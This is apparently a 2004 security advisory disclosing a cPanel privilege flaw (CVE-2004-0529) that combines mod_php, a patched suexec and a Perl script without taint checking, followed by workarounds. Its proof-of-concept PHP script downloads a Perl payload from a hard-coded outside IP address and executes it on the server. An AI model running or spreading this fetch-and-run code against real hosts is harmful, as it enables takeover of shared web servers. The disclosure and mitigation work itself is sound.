|
|
|
|
| |
Credit:
The information has been provided by Rob Brown.
|
| |
Vulnerable Systems:
* cPanel, all versions up to and including 9.3.0-EDGE_95 with Apache version 1.3.31 and prior (compiled without mod_phpsuexec)
CVE Information:
CVE-2004-0529
The vulnerability can be exploited using a combination of security flaws. Upon successful exploitation, a user is able to execute arbitrary code with UID equal to or greater than the minimum UID (UID_MIN). It is important to note that mod_php is installed by default on cPanel installations making all cPanel default installations to be vulnerable. The flaws are outlined below:
* When mod_php is enabled, all PHP scripts are executed as the same user as the web server, the "nobody" user. This allows all users to execute arbitrary code as a common user simply by creating a PHP script. This is the default behavior of cPanel installations.
* The suexec that is compiled with cPanel permits this nobody user to execute common or "shared" scripts as any arbitrary user. It is different from the behavior presented by the normal suexec that comes along with Apache. The suexec version that comes with cPanel is patched and behaves a bit differently. The patch was applied to 'src/support/suexec.c' and was done in order to allow the feature.
The patch which cPanel uses (/home/cpapachebuild/buildapache/suexec.patch) does accomplish the desired feature, but it has a flaw which permits execution of these "shared" scripts within unsafe environments, i.e., where one of its parent directories is writeable by another user or group. Luckily, this patch only allows execution of files owned by the trusted user and group, namely "root" and "wheel" respectively.
* There are a few Perl scripts owned by root.wheel which are not completely taint clean. Unclean scripts can basically allow one to do anything desirable. At least one such Perl script is known that can be compromised:
rwxr-xr-x 1 root wheel 1385 Feb 22 2003
/usr/local/cpanel/bin/proftpdvhosts
Using the following command, it is possible to find all other vulnerable scripts owned by root.wheel:
# find /usr/local/cpanel -user root -group wheel -type f -perm +1 | xargs -i echo 'head -1 {} | grep -q perl && head -1 {} | grep -q -v -e -T && ls -l {}' | sh
Fortunately, unprivileged users are not able to run this command but that is little comfort.
Proof-of-Concept
The following PHP script can be used to test a configuration for this vulnerability. It is attempting to run as a common user. It then runs a Perl script as that common user to exploit the Perl scripts issue and since suexec has been patched to allow execution of "shared" programs, the vulnerability can be exploited. Below is the PHP script:
<!--
# PROGRAM: cpanel.php
# AUTHORS: Rob Brown (rob@asquad.com)
# PURPOSE: Detect possible vulnerabilities
#
# DISCLAIMER:
# THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*.
# IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY.
# USE AT YOUR OWN RISK.
#
# For secure cpanel hosting, visit A-Squad.Com
-->
<?php
$tester = "/tmp/tests.pl";
if (!file_exists($tester)) {
$testw = fopen($tester, "w");
ini_set('user_agent',__FILE__);
$testr = fopen("http://64.240.171.106/tests.pl","r");
while ($s=fread($testr, 1024)) { fwrite($testw,$s); };
fclose($testw);
fclose($testr);
}
echo `perl $tester '$QUERY_STRING' 2>&1`;
?>
Workaround
There is more than one viable workaround. An official patch is not available but users can do the following:
* Switch to mod_phpsuexec. Recompile Apache with mod_phpsuexec using /scripts/easyapache option 2. Be aware that many users' scripts will break if care is not taken with ownerships and permissions of certain nodes within the home directories of users using PHP scripts. This indeed might be a very difficult migration.
* Remove the patch /home/cpapachebuild/buildapache/suexec.patch after starting /scripts/easyapache but before selecting option 1. This will secure the server but might cause other damages like breaking functionality that depends on "shared" scripts.
* One can attempt to taint clean the Perl scripts and therefore prevent code execution. The following snippet of code fixes the above patch to correctly do this:
--- /usr/local/cpanel/bin/proftpdvhosts.o 2003-02-22
09:38:52.000000000 -0700
+++ /usr/local/cpanel/bin/proftpdvhosts 2004-05-27
00:10:20.000000000 -0600
@@ -1,5 +1,6 @@
-#!/usr/bin/perl
+#!/usr/bin/perl -T
+%ENV = (PATH => "/usr/bin:/bin/:/sbin:/usr/sbin");
BEGIN {
push(@INC,"/scripts");
}
This will cause very little side effects, if any. Follow similar procedures for any other root.wheel untainted Perl scripts. This is the recommended solution. Unfortunately, next time you upgrade with /scripts/upcp, you may loose some or all of these changes.
* The easiest workaround is to make sure the untainted script is NOT root.wheel owned. For the example above, the following command will prevent this vulnerability:
# chgrp root /usr/local/cpanel/bin/proftpdvhosts
Assuming that there is no important reason for the scripts to execute as root.wheel.
|
|
|
|
|
